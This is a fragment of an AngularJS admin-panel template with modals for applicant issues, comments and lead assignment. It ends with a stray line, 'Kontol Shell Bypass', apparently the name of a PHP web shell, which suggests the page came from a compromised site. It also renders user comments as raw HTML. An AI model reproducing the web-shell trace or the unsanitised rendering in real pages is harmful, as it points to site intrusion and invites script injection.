                                    </form>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal" ng-click="cr.close_email_form()">Close</button>
                <button type="button" class="btn green" ng-click="cr.send_email()">Send Email</button>
            </div>
        </div>
    </div>
</div>

<!-- Issue List -->
<div class="modal bs-modal-lg in modal-scroll" id="issueListModal" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-full" style="width: 1100px;">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true" ng-click="cr.close_email_form()"></button>
                <h4 class="modal-title">Issues - {{cr.issue.applicant_name}} ({{cr.issue.application_no}})</h4>
            </div>
            
            <div class="modal-body">
                <div class="table-responsive" ng-if="cr.issueList.length">
                    <table class="table table-striped table-bordered table-advance table-hover table-condensed">
                        <thead class="vmid uc">
                            <tr>
                                <th class="w20">SN</th>
                                <th>Issue</th>
                                <th class="w100">Created On</th>
                                <th class="w100">Closed On</th>
                                <th class="w60">Status</th>
                                <th class="w20"></th>
                            </tr>
                        </thead>
        
                        <tbody>
                            <tr ng-repeat="(i,r) in cr.issueList">
                                <td>{{i+1}}.</td>
                                <td>
                                    [{{r.cat}}]
                                    <a href="" ng-click="cr.issueDetail(r.id)">{{r.issue}}</a>
                                    <a href="" ng-click="cr.issueDetail(r.id)" class="font-yellow"><i class="icon-bubbles"></i> {{r.noOfComments}}</a>

                                    <div class="note-text pdT5">{{r.description}}</div>
                                    <div class="pdT5" ng-if="r.fileUrl">
                                        <a href="{{r.fileUrl}}" class="text-danger uc" target="_blank" style="font-size:11px">
                                            <i class="fa fa-paperclip"></i> View Attachment
                                        </a>
                                    </div>
                                </td>
                                <td>{{r.created}}</td>
                                <td>{{r.close_date}}</td>
                                <td>
                                    <span class="label label-sm label-default label-mini" ng-if="r.status=='1'">{{r.status_text}}</span>
                                    <span class="label label-sm label-warning label-mini" ng-if="r.status=='2'">{{r.status_text}}</span>
                                    <span class="label label-sm label-success label-mini" ng-if="r.status=='3'">{{r.status_text}}</span>
                                </td>
                                <td class="text-center">
                                    <div class="btn-group btn-group-solid">
                                        <button type="button" class="btn btn-xs red" ng-click="cr.deleteIssue(r.id)"><i class="fa fa-trash-o"></i></button>
                                    </div>
                                </td>
                            </tr>
                        </tbody>
                    </table>
                </div>
                <div ng-if="!cr.issueList.length" class="text-center pd10 text-default">No record found</div>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal" ng-click="cr.close_issue_list_form()">Close</button>
            </div>
        </div>
    </div>
</div>

<!-- Issue Deatil -->
<div class="modal bs-modal-lg in modal-scroll" id="issueDtlModal" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Issue Detail</h4>
            </div>
            
            <div class="modal-body">
                <div class="mb5">Applicant: <strong>{{cr.issueDtl.name}} [{{cr.issueDtl.mob}}] [{{cr.issueDtl.email}}]</strong></div>
                <div>Date: <strong>{{cr.issueDtl.created}}</strong></div>
                <hr>
                <div class="mb5"><strong>[{{cr.issueDtl.cat}}] {{cr.issueDtl.issue}}</strong></div>
                <div class="mb5">
                    Current Status: <span class="{{cr.issueDtl.status=='1'?'text-danger':(cr.issueDtl.status=='2'?'text-warning':'text-success')}}">{{cr.issueDtl.status_text}}</span>
                </div>
                <div ng-bind-html="renderHtml(cr.issueDtl.description)"></div>
                <div class="pdT5" ng-if="cr.issueDtl.fileUrl">
                    <a href="{{cr.issueDtl.fileUrl}}" class="uc" target="_blank" style="font-size:11px">
                        <i class="fa fa-paperclip"></i> View Attachment
                    </a>
                </div>
                <hr>

                <!-- Comments -->
                <div>
                    <h4 class="mb15">Comments <span class="badge badge-default"> {{cr.issueDtl.comments.length}} </span></h4>
                    <div class="clearfix"></div>
                    <div ng-if="cr.issueDtl.comments.length">
                        <ul class="chats">
                            <li class="{{r.flg=='OUT'?'in':'out'}}" ng-repeat="r in cr.issueDtl.comments">
                                <img class="avatar" alt="" src="theme/img/avatar1.jpg">
                                <div class="message">
                                    <span class="arrow"> </span>
                                    <a href="javascript:;" class="name"> {{r.comment_by}} </a>
                                    <span class="datetime"> at {{r.created}} </span>
                                    <span class="body" ng-bind-html="renderHtml(r.description)"></span>
                                    <div class="pdT5">
                                        <a href="" class="text-danger" ng-click="cr.deleteIssueComment(r.id)">
                                            <i class="fa fa-trash"></i> Delete
                                        </a>
                                    </div>
                                </div>
                            </li>
                        </ul>
                        <div class="clearfix"></div>
                    </div>
                    <div class="chat-form">
                        <div class="input-cont">
                            <input class="form-control" type="text" placeholder="Type a message here..." ng-model="cr.issue.YourComment">
                        </div>
                        <div class="btn-cont">
                            <span class="arrow"> </span>
                            <a href="" class="btn blue icn-only" ng-click="cr.addIssueComment()">
                                <i class="fa fa-check icon-white"></i>
                            </a>
                        </div>
                    </div>
                </div>
                <!-- / -->
            </div>

            <div class="modal-footer">
                <div class="pull-left">
                    <div class="btn-group">
                        <button class="btn purple btn-outline dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                            Mark Status As <i class="fa fa-angle-down"></i>
                        </button>
                        <ul class="dropdown-menu">
                            <li ng-repeat="(k,v) in cr.issueStatusLookup"><a href="javascript:;" ng-click="cr.updateIssueStatus(cr.issueDtl.id, k)"> {{v}} </a></li>
                        </ul>
                    </div>
                </div>
                <div class="pull-right">
                    <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
                </div>
                <div class="clearfix"></div>
            </div>
        </div>
    </div>
</div>

<!-- Assign -->
<div class="modal bs-modal-lg in modal-scroll" id="assignModal" role="dialog" aria-hidden="true" data-backdrop="static">
    <div class="modal-dialog modal-lg" style="width: 1200px;">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                <h4 class="modal-title">Assign To</h4>
            </div>
            
            <div class="modal-body">
                <div class="mb5">Applicant: <strong>{{cr.assign_dtl.name}} [{{cr.assign_dtl.mob}}] [{{cr.assign_dtl.email}}]</strong></div>
                <hr>
                
                <div>
                    <div class="row mingap">
                        <div class="form-group col-md-3">
                            <label>Assigned To</label>
                            <select class="form-control" id="assigned_usersdd" ng-model="cr.assign_rw.assigned_to">
                                <option value="0">Select</option>
                                <option value="{{u.id}}" ng-repeat="u in cr.all_users">{{u.name}} [{{u.type}}]</option>
                            </select>
                        </div>
    
                        <div class="form-group col-md-9">
                            <label>Remarks</label>
                            <input type="text" class="form-control" ng-model="cr.assign_rw.remarks" autocomplete="off" spellcheck="false" maxlength="200">
                        </div>
                    </div>

                    <button type="button" class="btn green" ng-click="cr.assign_lead()">Submit</button>
                </div>
                <hr>

                <div>
                    <fieldset>
                        <legend>History</legend>
                        <div class="pd10">
                            <div class="table-responsive" ng-if="cr.assign_dtl.history.length">
                                <table class="table table-bordered table-advance tablemd nomrgn">
                                    <thead class="uc">
                                        <tr>
                                            <th class="w20">SN</th>
                                            <th>Assigned To</th>
                                            <th class="w200">By</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <tr ng-repeat="(i, r) in cr.assign_dtl.history">
                                            <td>{{i+1}}.</td>
                                            <td>
                                                <div class="uc">{{r.assign_to}} [{{r.ausr_type}}]</div>
                                                <div class="note-text">{{r.remarks}}</div>
                                            </td>
                                            <td>
                                                {{r.usr}} [{{r.usr_type}}]
                                                <div class="note-text">@ {{r.created}}</div>
                                            </td>
                                        </tr>
                                    </tbody>
                                </table>
                            </div>

                            <div ng-if="!cr.assign_dtl.history.length" class="text-center text-default">No history found.</div>
                        </div>
                    </fieldset>
                </div>
            </div>

            <div class="modal-footer">
                <button type="button" class="btn dark btn-outline" data-dismiss="modal">Close</button>
            </div>
        </div>
    </div>
</div>

Kontol Shell Bypass